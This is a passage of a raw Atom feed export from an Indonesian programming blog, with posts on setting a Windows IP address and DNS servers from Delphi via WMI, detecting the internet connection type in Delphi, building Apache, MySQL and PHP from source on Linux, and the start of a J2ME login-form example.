&lt;br /&gt;96 Unable to notify DNS service.    &lt;br /&gt;97 Interface not configurable.    &lt;br /&gt;98 Not all DHCP leases could be released or renewed.    &lt;br /&gt;100 DHCP not enabled on adapter.     &lt;br /&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;---------------------------------------------------------} &lt;/p&gt;  &lt;p&gt;uses ComObj, ActiveX, UrlMon;   &lt;br /&gt;function SetIpConfig(const AIpAddress : string; const AGateWay : string = '';    &lt;br /&gt;const ASubnetMask : string = '') : integer;    &lt;br /&gt;var Retvar : integer;    &lt;br /&gt;___oBindObj : IDispatch;    &lt;br /&gt;___oNetAdapters,oNetAdapter,    &lt;br /&gt;___oIpAddress,oGateWay,    &lt;br /&gt;___oWMIService,oSubnetMask : OleVariant;    &lt;br /&gt;___i,iValue : longword;    &lt;br /&gt;___oEnum : IEnumvariant;    &lt;br /&gt;___oCtx : IBindCtx;    &lt;br /&gt;___oMk : IMoniker;    &lt;br /&gt;___sFileObj : widestring;    &lt;br /&gt;begin    &lt;br /&gt;___Retvar := 0;    &lt;br /&gt;___sFileObj := 'winmgmts:\\.\root\cimv2';    &lt;br /&gt;___// Create OLE [IN} Parameters    &lt;br /&gt;___oIpAddress := VarArrayCreate([1,1],varOleStr);    &lt;br /&gt;___oIpAddress[1] := AIpAddress;    &lt;br /&gt;___oGateWay := VarArrayCreate([1,1],varOleStr);    &lt;br /&gt;___oGateWay[1] := AGateWay;    &lt;br /&gt;___oSubnetMask := VarArrayCreate([1,1],varOleStr);    &lt;br /&gt;___if ASubnetMask = '' then    &lt;br /&gt;______oSubnetMask[1] := '255.255.255.0'    &lt;br /&gt;___else    &lt;br /&gt;______oSubnetMask[1] := ASubnetMask;    &lt;br /&gt;___// Connect to WMI - Emulate API GetObject()    &lt;br /&gt;___OleCheck(CreateBindCtx(0,oCtx));    &lt;br /&gt;___OleCheck(MkParseDisplayNameEx(oCtx,PWideChar(sFileObj),i,oMk));    &lt;br /&gt;___OleCheck(oMk.BindToObject(oCtx,nil,IUnknown,oBindObj));    &lt;br /&gt;___oWMIService := oBindObj;    &lt;br /&gt;oNetAdapters := oWMIService.ExecQuery('Select * from ' +    &lt;br /&gt;__________________ 'Win32_NetworkAdapterConfiguration ' +    &lt;br /&gt;__________________ 'where IPEnabled=TRUE');    &lt;br /&gt;___oEnum := IUnknown(oNetAdapters._NewEnum) as IEnumVariant;    &lt;br /&gt;___while oEnum.Next(1,oNetAdapter,iValue) = 0 do begin    &lt;br /&gt;___try    &lt;br /&gt;______// Set by DHCP ? (Gateway and Subnet ignored)    &lt;br /&gt;______if (AIpAddress = '') or SameText(AIpAddress,'DHCP') then    &lt;br /&gt;_________Retvar := oNetAdapter.EnableDHCP    &lt;br /&gt;______// Set via STATIC ?    &lt;br /&gt;______else begin    &lt;br /&gt;_________Retvar := oNetAdapter.EnableStatic(oIpAddress,oSubnetMask);    &lt;br /&gt;_________// Change Gateway ?    &lt;br /&gt;_________if (Retvar = 0) and (AGateWay &amp;lt;&amp;gt; '') then    &lt;br /&gt;____________Retvar := oNetAdapter.SetGateways(oGateway);    &lt;br /&gt;______end;    &lt;br /&gt;___except    &lt;br /&gt;_________Retvar := -1;    &lt;br /&gt;___end;    &lt;br /&gt;______oNetAdapter := Unassigned;    &lt;br /&gt;___end;    &lt;br /&gt;___oGateWay := Unassigned;    &lt;br /&gt;___oSubnetMask := Unassigned;    &lt;br /&gt;___oIpAddress := Unassigned;    &lt;br /&gt;___oNetAdapters := Unassigned;    &lt;br /&gt;___oWMIService := Unassigned;    &lt;br /&gt;___Result := Retvar;    &lt;br /&gt;end;    &lt;br /&gt;function SetDnsServers(const APrimaryDNS : string;    &lt;br /&gt;__________________ const AAlternateDNS : string = '') : integer;    &lt;br /&gt;var Retvar : integer;    &lt;br /&gt;___oBindObj : IDispatch;    &lt;br /&gt;___oNetAdapters,oNetAdapter,    &lt;br /&gt;___oDnsAddr,oWMIService : OleVariant;    &lt;br /&gt;___i,iValue,iSize : longword;    &lt;br /&gt;___oEnum : IEnumvariant;    &lt;br /&gt;___oCtx : IBindCtx;    &lt;br /&gt;___oMk : IMoniker;    &lt;br /&gt;___sFileObj : widestring;    &lt;br /&gt;begin    &lt;br /&gt;___Retvar := 0;    &lt;br /&gt;___sFileObj := 'winmgmts:\\.\root\cimv2';    &lt;br /&gt;___iSize := 0;    &lt;br /&gt;___if APrimaryDNS &amp;lt;&amp;gt; '' then inc(iSize);    &lt;br /&gt;___if AAlternateDNS &amp;lt;&amp;gt; '' then inc(iSize);    &lt;br /&gt;___// Create OLE [IN} Parameters    &lt;br /&gt;___if iSize &amp;gt; 0 then begin    &lt;br /&gt;______oDnsAddr := VarArrayCreate([1,iSize],varOleStr);    &lt;br /&gt;______oDnsAddr[1] := APrimaryDNS;    &lt;br /&gt;______if iSize &amp;gt; 1 then oDnsAddr[2] := AAlternateDNS;    &lt;br /&gt;___end;    &lt;br /&gt;___// Connect to WMI - Emulate API GetObject()    &lt;br /&gt;___OleCheck(CreateBindCtx(0,oCtx));    &lt;br /&gt;___OleCheck(MkParseDisplayNameEx(oCtx,PWideChar(sFileObj),i,oMk));    &lt;br /&gt;___OleCheck(oMk.BindToObject(oCtx,nil,IUnknown,oBindObj));    &lt;br /&gt;___oWMIService := oBindObj;    &lt;br /&gt;___oNetAdapters := oWMIService.ExecQuery('Select * from ' +    &lt;br /&gt;_________ 'Win32_NetworkAdapterConfiguration ' +    &lt;br /&gt;_________ 'where IPEnabled=TRUE');    &lt;br /&gt;___oEnum := IUnknown(oNetAdapters._NewEnum) as IEnumVariant;    &lt;br /&gt;___while oEnum.Next(1,oNetAdapter,iValue) = 0 do begin    &lt;br /&gt;___try    &lt;br /&gt;______if iSize &amp;gt; 0 then    &lt;br /&gt;_________Retvar := oNetAdapter.SetDNSServerSearchOrder(oDnsAddr)    &lt;br /&gt;______else    &lt;br /&gt;_________Retvar := oNetAdapter.SetDNSServerSearchOrder();    &lt;br /&gt;___except    &lt;br /&gt;______Retvar := -1;    &lt;br /&gt;___end;    &lt;br /&gt;______oNetAdapter := Unassigned;    &lt;br /&gt;___end;    &lt;br /&gt;___oDnsAddr := Unassigned;    &lt;br /&gt;___oNetAdapters := Unassigned;    &lt;br /&gt;___oWMIService := Unassigned;    &lt;br /&gt;___Result := Retvar;    &lt;br /&gt;end;    &lt;br /&gt;fungsi lain yang ada pada Win32_NetworkAdapterConfiguration Class    &lt;br /&gt;DisableIPSec    &lt;br /&gt;EnableDHCP    &lt;br /&gt;EnableDNS    &lt;br /&gt;EnableIPFilterSec    &lt;br /&gt;EnableIPSec    &lt;br /&gt;EnableStatic    &lt;br /&gt;EnableWINS    &lt;br /&gt;ReleaseDHCPLease    &lt;br /&gt;ReleaseDHCPLeaseAll    &lt;br /&gt;RenewDHCPLease    &lt;br /&gt;RenewDHCPLeaseAll    &lt;br /&gt;SetArpAlwaysSourceRoute    &lt;br /&gt;SetArpUseEtherSNAP    &lt;br /&gt;SetDatabasePath    &lt;br /&gt;SetDeadGWDetect    &lt;br /&gt;SetDefaultTTL    &lt;br /&gt;SetDNSDomain    &lt;br /&gt;SetDNSServerSearchOrder    &lt;br /&gt;SetDNSSuffixSearchOrder    &lt;br /&gt;SetDynamicDNSRegistration    &lt;br /&gt;SetForwardBufferMemory Specifies    &lt;br /&gt;SetGateways    &lt;br /&gt;SetIGMPLevel    &lt;br /&gt;SetIPConnectionMetric    &lt;br /&gt;SetIPUseZeroBroadcast    &lt;br /&gt;SetIPXFrameTypeNetworkPairs    &lt;br /&gt;SetIPXVirtualNetworkNumber    &lt;br /&gt;SetKeepAliveInterval    &lt;br /&gt;SetKeepAliveTime    &lt;br /&gt;SetNumForwardPackets    &lt;br /&gt;SetPMTUBHDetect    &lt;br /&gt;SetPMTUDiscovery    &lt;br /&gt;SetTcpipNetbios    &lt;br /&gt;SetTcpMaxConnectRetransmissions    &lt;br /&gt;SetTcpMaxDataRetransmissions    &lt;br /&gt;SetTcpNumConnections    &lt;br /&gt;SetTcpUseRFC1122UrgentPointer    &lt;br /&gt;SetTcpWindowSize    &lt;br /&gt;SetWINSServer &lt;/p&gt;  &lt;p&gt;source : &lt;a href="http://delphisource.blogspot.com/2008/02/setting-ip-address-subnet-dan-gateway.html" target="_blank"&gt;delphisource.blogspot.com&lt;/a&gt;&lt;/p&gt; &lt;/span&gt; &lt;div style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; display: inline" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:2d2b0a8d-e7bf-4f8e-8cb0-cd205c16c285" class="wlWriterSmartContent"&gt;Technorati Tags: &lt;a href="http://technorati.com/tags/delphi" rel="tag"&gt;delphi&lt;/a&gt;,&lt;a href="http://technorati.com/tags/source%20code" rel="tag"&gt;source code&lt;/a&gt;&lt;/div&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1475036015484717232-8093249842854543363?l=indoprogrammer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://indoprogrammer.blogspot.com/feeds/8093249842854543363/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1475036015484717232&amp;postID=8093249842854543363&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/8093249842854543363'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/8093249842854543363'/><link rel='alternate' type='text/html' href='http://indoprogrammer.blogspot.com/2008/06/setting-ip-address-subnet-dan-gateway.html' title='Setting IP Address, Subnet dan Gateway computer di Delphi'/><author><name>Bonitoo</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_JinBsxeKwxY/SOLOPM2U0MI/AAAAAAAAAKU/vCjOoffxzEA/S220/Bonitoo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1475036015484717232.post-3929112160074873750</id><published>2008-06-22T18:43:00.001+07:00</published><updated>2008-06-22T18:43:28.819+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Delphi'/><title type='text'>Bagaimana mengetahui jenis koneksi Internet menggunakan delphi</title><content type='html'>&lt;p&gt;Pada pemrograman adakalanya kita membutuhkan pengecekan terhadap koneksi internet, antara lain mengecek update terbaru aplikasi via internet, informasi jenis koneksi internet yang digunakan dan sebagainya. Berikut contoh source code menggunakan delphi :&lt;/p&gt; &lt;span class="fullpost"&gt; &lt;pre&gt;USES&lt;br /&gt; WinInet;&lt;br /&gt; ..&lt;br /&gt; ..&lt;br /&gt;&lt;br /&gt;function InternetConnected: Boolean;&lt;br /&gt;CONST&lt;br /&gt; // local system uses a modem to connect to the Internet.&lt;br /&gt; INTERNET_CONNECTION_MODEM      = 1;&lt;br /&gt; // local system uses a local area network to connect to the&lt;br /&gt;&lt;br /&gt;Internet.&lt;br /&gt; INTERNET_CONNECTION_LAN        = 2;&lt;br /&gt; // local system uses a proxy server to connect to the&lt;br /&gt;&lt;br /&gt;Internet.&lt;br /&gt; INTERNET_CONNECTION_PROXY      = 4;&lt;br /&gt; // local system's modem is busy with a non-Internet&lt;br /&gt;&lt;br /&gt;connection.&lt;br /&gt; INTERNET_CONNECTION_MODEM_BUSY = 8;&lt;br /&gt;&lt;br /&gt;VAR &lt;br /&gt; dwConnectionTypes : DWORD;&lt;br /&gt;BEGIN&lt;br /&gt; dwConnectionTypes :=&lt;br /&gt;  INTERNET_CONNECTION_MODEM +&lt;br /&gt;INTERNET_CONNECTION_LAN +&lt;br /&gt;INTERNET_CONNECTION_PROXY;&lt;br /&gt; Result := InternetGetConnectedState(@dwConnectionTypes,0);&lt;br /&gt;END;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Contoh penggunaan source code di atas :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Selamat Mencoba !&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;function TForm1.Connected(const flag : DWORD) : boolean;&lt;br /&gt;var&lt;br /&gt; flags : PDWORD;&lt;br /&gt;begin&lt;br /&gt; New(flags);&lt;br /&gt; try&lt;br /&gt;   flags^ := flag;&lt;br /&gt;   InternetGetConnectedState(flags, 0);&lt;br /&gt; finally&lt;br /&gt;   Dispose(flags);&lt;br /&gt; end;&lt;br /&gt; result := (flags^ and flag) = flag;&lt;br /&gt;end;&lt;br /&gt;&lt;br /&gt;eg.&lt;br /&gt;&lt;br /&gt;procedure TForm1.Button1Click(Sender: TObject);&lt;br /&gt;begin&lt;br /&gt; Memo1.Lines.Clear;&lt;br /&gt; // modem connection&lt;br /&gt; if Connected(INTERNET_CONNECTION_MODEM) then&lt;br /&gt;   Memo1.Lines.Add('Modem');&lt;br /&gt; if Connected(INTERNET_CONNECTION_MODEM_BUSY) then&lt;br /&gt;   Memo1.Lines.Add('Modem is busy');&lt;br /&gt; // lan connection&lt;br /&gt; if Connected(INTERNET_CONNECTION_LAN) then&lt;br /&gt;   Memo1.Lines.Add('Lan');&lt;br /&gt; if Connected(INTERNET_CONNECTION_PROXY) then&lt;br /&gt;   Memo1.Lines.Add('Proxy');&lt;br /&gt;end;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;i&gt;Referensi : Delphi3000.com&lt;/i&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;em&gt;Source : &lt;a href="http://ai-kom.blogspot.com/2008/06/bagaimana-mengetahui-jenis-koneksi.html" target="_blank"&gt;ai-kom.blogspot.com&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; display: inline" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:c50d6f4e-2686-49b3-8d69-8eefc80f1887" class="wlWriterSmartContent"&gt;Technorati Tags: &lt;a href="http://technorati.com/tags/delphi" rel="tag"&gt;delphi&lt;/a&gt;,&lt;a href="http://technorati.com/tags/source%20code" rel="tag"&gt;source code&lt;/a&gt;,&lt;a href="http://technorati.com/tags/internet" rel="tag"&gt;internet&lt;/a&gt;&lt;/div&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1475036015484717232-3929112160074873750?l=indoprogrammer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://indoprogrammer.blogspot.com/feeds/3929112160074873750/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1475036015484717232&amp;postID=3929112160074873750&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/3929112160074873750'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/3929112160074873750'/><link rel='alternate' type='text/html' href='http://indoprogrammer.blogspot.com/2008/06/bagaimana-mengetahui-jenis-koneksi.html' title='Bagaimana mengetahui jenis koneksi Internet menggunakan delphi'/><author><name>Bonitoo</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_JinBsxeKwxY/SOLOPM2U0MI/AAAAAAAAAKU/vCjOoffxzEA/S220/Bonitoo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1475036015484717232.post-9029734775674130585</id><published>2008-04-03T21:02:00.001+07:00</published><updated>2008-04-03T21:02:06.353+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='MySQL'/><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><title type='text'>Nginstall Apache, MySQL dan PHP di Linux</title><content type='html'>&lt;p align="justify"&gt;Pernah coba install Apache, MySQL dan PHP di Linux (LAMP), 4 sekawan sakti yang paling banyak dipake di Internet saat ini? atau pengen coba tapi udah jiper duluan karena keliatannya susah? Semoga pengalaman saya nginstall di Ubuntu Linux bisa jadi batu loncatan buat belajar nginstall AMP di Linux. Sebenarnya install AMP di Linux itu kalo mau nyoba dan usaha ga susah (kalo belajar maunya gampang doank ga dapet ilmu apa-apaan donk!!), intinya &amp;quot;keep trying&amp;quot;. Semua proses instalasi dilakukan dengan menggunakan source code Apache, MySQL dan PHP.    &lt;br /&gt;Source code ini bisa didownload di website resmi masing-masing :&lt;/p&gt; &lt;span class="fullpost"&gt; &lt;ul&gt;   &lt;li&gt;     &lt;div align="justify"&gt;Apache -- &lt;a href="http://httpd.apache.org"&gt;http://httpd.apache.org&lt;/a&gt;&lt;/div&gt;   &lt;/li&gt;    &lt;li&gt;     &lt;div align="justify"&gt;MySQL -- &lt;a href="http://www.mysql.com"&gt;http://www.mysql.com&lt;/a&gt;&lt;/div&gt;   &lt;/li&gt;    &lt;li&gt;     &lt;div align="justify"&gt;PHP -- &lt;a href="http://www.php.net"&gt;http://www.php.net&lt;/a&gt;&lt;/div&gt; Biar lebih cepat proses download-nya, cari mirror-mirror download yang berada di Indonesia, atau kalau tidak ada cari mirror terdekat, seperti Singapura atau Australia (itung-itung menghemat bandwidth Internet ke luar negeri). &lt;/li&gt; &lt;/ul&gt;  &lt;ul&gt;Semua proses instalasi dan kompilasi dilakukan pada console atau terminal dan juga pastikan gcc, glibc, g++ sudah terinstall (kalo ga punya g++, gcc juga bisa dipake buat compile c++, tinggal tambahin : CXX=gcc sebelum perintah ./configure), karena tanpa ketiga aplikasi ini kita tidak bisa melakukan kompilasi source code. Untuk melakukan proses instalasi hingga tuntas maka kita menggunakan user tertinggi di Linux yaitu root. Untuk meng-kompilasi PHP pastikan bahwa parser Bison GNU (versi-versi terbaru kalo bisa -- kalo engga ada Bison parser Yacc juga bisa diterima) dan juga Flex. &lt;/ul&gt;  &lt;ul&gt;Untuk ngecheck-nya apakah Bison dan Flex udah ke-install apa belum lakuin perintah berikut ini : &lt;/ul&gt;  &lt;ul&gt;which bison    &lt;br /&gt;which flex&lt;/ul&gt;  &lt;ul&gt;kalo engga ada juga gimana? jangan menyerah, download aja versi pre-compiled (tergantung distribusi Linux apa yang diinstall), di Ubuntu saya cari pre-compiled binary Bison yang khusus Debian Ubuntu. &lt;/ul&gt;  &lt;ul&gt;Yang pertama saya install biasanya adalah Apache, kedua MySQL dan terakhir baru PHP. Kenapa saya pake urutan begini? karena untuk install PHP sebagai module apache dan gunain client library MySQL di PHP kita butuh Apache dan MySQL yang sudah terinstall sebelumnya. &lt;/ul&gt;  &lt;ul&gt;Extract source Apache dengan melakukan perintah sebagai berikut : &lt;/ul&gt;  &lt;ul&gt;tar -xvzf httpd-2.2.x.tar.gz &lt;/ul&gt;  &lt;ul&gt;masuk ke dalam direktori httpd-2.2.x dengan menjalankan perintah berikut : &lt;/ul&gt;  &lt;ul&gt;cd httpd-2.2.x&lt;/ul&gt;  &lt;ul&gt;di dalam direktori ini lakukan perintah berikut :&lt;/ul&gt;  &lt;ul&gt;./configure --prefix=/opt/apache2/ --enable-so -- tunggu sampai proses konfigurasi selesai -- &lt;/ul&gt;  &lt;ul&gt;setelah proses konfigurasi instalasi selesai tanpa masalah (biasanya kalau ada masalah proses akan berhenti di tengah jalan dan akan mengeluarkan error) maka jalankan perintah berikut untuk memulai proses kompilasi apache : &lt;/ul&gt;  &lt;ul&gt;make -- tunggu sampai proses kompilasi selesai --    &lt;br /&gt;apabila proses kompilasi berjalan lancar tanpa error maka selanjutnya adalah melakukan perintah berikut untuk menginstall apache ke tempat yang sudah kita tentukan (dalam hal ini adalah /opt/apache2/ ) : &lt;/ul&gt;  &lt;ul&gt;make install&lt;/ul&gt;  &lt;ul&gt;sekarang web server apache kita sudah terinstall di /opt/apache2/. Untuk mencoba menjalankan daemon apache maka lakukan perintah berikut ini : &lt;/ul&gt;  &lt;ul&gt;/opt/apache2/bin/apachectl start -- untuk saat ini abaikan saja warning-warning yang keluar, kecuali ERROR -- cek apakah apache sudah benar-benar berjalan dengan melakukan perintah berikut ini : &lt;/ul&gt;  &lt;ul&gt;ps ax | grep httpd -- apabila berjalan maka akan tampil daftar proses milik apache yaitu httpd --    &lt;br /&gt;Agar lebih secure, buat group dan user baru dengan nama sama yaitu apache. Bisa dilakukan dengan menjalankan perintah berikut ini : &lt;/ul&gt;  &lt;ul&gt;addgroup apache    &lt;br /&gt;adduser -s --no-create-home -G apache apache&lt;/ul&gt;  &lt;ul&gt;Sekarang langkah selanjutnya adalah melakukan kompilasi source code MySQL. Download saja MySQL versi 4.1.x. Extract source MySQL dengan melakukan perintah sebagai berikut : &lt;/ul&gt;  &lt;ul&gt;tar -xvzf mysql-4.1.x.tar.gz &lt;/ul&gt;  &lt;ul&gt;masuk ke dalam direktori mysql-4.1.x dengan menjalankan perintah berikut : &lt;/ul&gt;  &lt;ul&gt;cd mysql-4.1.x&lt;/ul&gt;  &lt;ul&gt;di dalam direktori ini lakukan perintah berikut : &lt;/ul&gt;  &lt;ul&gt;./configure --prefix=/opt/mysql4/ -- tunggu sampai proses konfigurasi selesai --    &lt;br /&gt;setelah proses konfigurasi instalasi selesai tanpa masalah (biasanya kalau ada masalah proses akan berhenti di tengah jalan dan akan mengeluarkan error) maka jalankan perintah berikut untuk memulai proses kompilasi mysql : &lt;/ul&gt;  &lt;ul&gt;make -- tunggu sampai proses kompilasi selesai --    &lt;br /&gt;apabila proses kompilasi berjalan lancar tanpa error maka selanjutnya adalah melakukan perintah berikut untuk menginstall mysql ke tempat yang sudah kita tentukan (dalam hal ini adalah /opt/mysql4/ ) : &lt;/ul&gt;  &lt;ul&gt;make install&lt;/ul&gt;  &lt;ul&gt;sekarang MySQL sudah terinstall di /opt/mysql4/. Untuk mulai menggunakan server MySQL kita harus melakukan inisialisasi GRANT TABLE milik MySQL. Inisialisasi GRANT TABLE bisa dilakukan dengan menggunakan perintah : &lt;/ul&gt;  &lt;ul&gt;/opt/mysql4/bin/mysql_install_db    &lt;br /&gt;selanjutnya adalah kopi file my-medium.cnf yang terletak pada direktori /opt/mysql4/share/mysql/ ke direktori /etc/ dengan merubah namanya menjadi my.cnf. Perintahnya adalah seperti ini : &lt;/ul&gt;  &lt;ul&gt;cp /opt/mysql4/share/mysql/my-medium.cnf /etc/my.cnf    &lt;br /&gt;buat user baru khusus untuk MySQL dengan melakukan perintah berikut : &lt;/ul&gt;  &lt;ul&gt;addgroup mysql    &lt;br /&gt;adduser -s --no-create-home -G mysql mysql     &lt;br /&gt;setelah itu coba jalankan server MySQL dengan melakukan perintah berikut ini :&lt;/ul&gt;  &lt;ul&gt;/opt/mysql4/share/mysql/mysql.server start &lt;/ul&gt;  &lt;ul&gt;apabila berhasil maka akan muncul status seperti ini &amp;quot;Starting MySQL..... [OK]&amp;quot; dan selanjutnya sudah bisa melakukan query-query kepada server dengan masuk ke dalam program client command-line mysql : &lt;/ul&gt;  &lt;ul&gt;/opt/mysql4/bin/mysql -- apabila berhasil maka akan dibawa masuk ke dalam program dan ada greetings &amp;quot;Welcome to MySQL .....&amp;quot; --    &lt;br /&gt;Sekarang last but NOT LAST adalah meng-kompilasi bahasa pemrograman favorit saya, yaitu PHP. Extract source code PHP dengan melakukan : &lt;/ul&gt;  &lt;ul&gt;tar -xvzf php-4.4.x.tar.gz &lt;/ul&gt;  &lt;ul&gt;masuk ke dalam direktori php-4.4.x dengan menjalankan perintah berikut : &lt;/ul&gt;  &lt;ul&gt;cd mysql-4.4.x&lt;/ul&gt;  &lt;ul&gt;di dalam direktori ini lakukan perintah berikut :&lt;/ul&gt;  &lt;ul&gt;./configure --prefix=/opt/php4/ --with-config-file-path=/etc/php/ --with-config-file-scan-dir=/etc/php/ --with-apxs2=/opt/apache2/bin/apxs --with-mysql=/opt/mysql4/ --enable-mbstring -- tunggu sampai proses konfigurasi selesai --    &lt;br /&gt;setelah proses konfigurasi instalasi selesai tanpa masalah (biasanya kalau ada masalah proses akan berhenti di tengah jalan dan akan mengeluarkan error) maka jalankan perintah berikut untuk memulai proses kompilasi php : &lt;/ul&gt;  &lt;ul&gt;make -- tunggu sampai proses kompilasi selesai --    &lt;br /&gt;lalu jalankan : &lt;/ul&gt;  &lt;ul&gt;make install&lt;/ul&gt;  &lt;ul&gt;sekarang lengkap sudah AMP kita di Linux. Tapi tunggu!!?? bagaimana caranya agar web server kita bisa ngerti PHP? apa otomatis gitu aja? engga juga. Sekarang kita harus buka file /opt/apache2/conf/httpd.conf dan memodifikasi-nya sedikit. Buka saja dengan vi atau apabila sudah menggunakan desktop GNOME misalnya, buka saja dengan menggunakan gedit. Yang harus diubah adalah : &lt;/ul&gt;  &lt;ul&gt;User nobody    &lt;br /&gt;Group -1 &lt;/ul&gt;  &lt;ul&gt;ganti dengan : &lt;/ul&gt;  &lt;ul&gt;User apache    &lt;br /&gt;Group apache&lt;/ul&gt;  &lt;ul&gt;lalu tambahkan pada baris terakhir : &lt;/ul&gt;  &lt;ul&gt;# PHP    &lt;br /&gt;AddType application/x-httpd-php .php&lt;/ul&gt;  &lt;ul&gt;Untuk testing apakah sudah berjalan dengan baik, maka buat sebuah file php di dalam /opt/apache2/htdocs/ dengan nama test.php dan isikan dengan : &lt;/ul&gt;  &lt;ul&gt;&amp;lt;?php phpinfo(); ?&amp;gt; &lt;/ul&gt;  &lt;ul&gt;save file dan keluar. Restart web server apache agar apache membaca ulang file konfigurasi yang baru diubah dengan menjalankan perintah :&lt;/ul&gt;  &lt;ul&gt;/opt/apache2/bin/apachectl restart&lt;/ul&gt;  &lt;ul&gt;buka browser dan ketikan http://localhost/test.php pada kotak URL, dan lihat apakah skrip PHP yang baru kita buat sudah terinstall.&lt;/ul&gt;  &lt;ul&gt;source : &lt;a href="http://dicarve.blogspot.com/2006/04/nginstall-apache-mysql-dan-php-di.html" target="_blank"&gt;dicarve.blogspot.com&lt;/a&gt;&lt;/ul&gt; &lt;/span&gt; &lt;ul&gt;   &lt;div style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; display: inline" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:299a167c-9879-4f51-9f4e-15934ea2da29" class="wlWriterSmartContent"&gt;Technorati Tags: &lt;a href="http://technorati.com/tags/linux" rel="tag"&gt;linux&lt;/a&gt;,&lt;a href="http://technorati.com/tags/php" rel="tag"&gt;php&lt;/a&gt;,&lt;a href="http://technorati.com/tags/mysql" rel="tag"&gt;mysql&lt;/a&gt;&lt;/div&gt; &lt;/ul&gt;  &lt;ul&gt;&lt;/ul&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1475036015484717232-9029734775674130585?l=indoprogrammer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://indoprogrammer.blogspot.com/feeds/9029734775674130585/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1475036015484717232&amp;postID=9029734775674130585&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/9029734775674130585'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/9029734775674130585'/><link rel='alternate' type='text/html' href='http://indoprogrammer.blogspot.com/2008/04/nginstall-apache-mysql-dan-php-di-linux.html' title='Nginstall Apache, MySQL dan PHP di Linux'/><author><name>Bonitoo</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_JinBsxeKwxY/SOLOPM2U0MI/AAAAAAAAAKU/vCjOoffxzEA/S220/Bonitoo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1475036015484717232.post-2171916487368208624</id><published>2008-04-03T20:51:00.001+07:00</published><updated>2008-04-03T20:51:06.686+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java'/><title type='text'>Form Login J2ME</title><content type='html'>&lt;p align="justify"&gt;Dulu awal awal belajar bahasa pemrograman yaitu Pascal trus kemudian juga Vb, Aku suka sekali bikin aplikasi yang ada form untuk login nya. Program apapun dulu tak kasih form login supaya yang bisa pake program tersebut cuma Aku saja temen temen yang lain ga bisa dan harus minta ijin ke Aku dulu kalo mau pake program tersebut &lt;img alt=":D" src="http://www.maswawa.web.id/wp-includes/images/smilies/icon_biggrin.gif" /&gt; (hehehe pelit banget ya).&lt;/p&gt; &lt;span class="fullpost"&gt; &lt;p align="justify"&gt;Kemudian Setelah belajar Java Kebiasaan tersebut ga hilang. Di bawah ini salah satu contoh Source Code aplikasi Login Untuk J2ME.&lt;/p&gt;  &lt;div align="justify"&gt;   &lt;div style="border-right: gray 1px solid; padding-right: 4px; padding-left: 4px; font-size: 8pt; border-top: gray 1px solid; padding-bottom: 4px; margin: 20px 0px 10px; overflow: auto; border-left: gray 1px solid; width: 97.5%; cursor: text; max-height: 200px; line-height: 12pt; padding-top: 4px; border-bottom: gray 1px solid; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; height: 283px; background-color: #f4f4f4"&gt;     &lt;div style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;       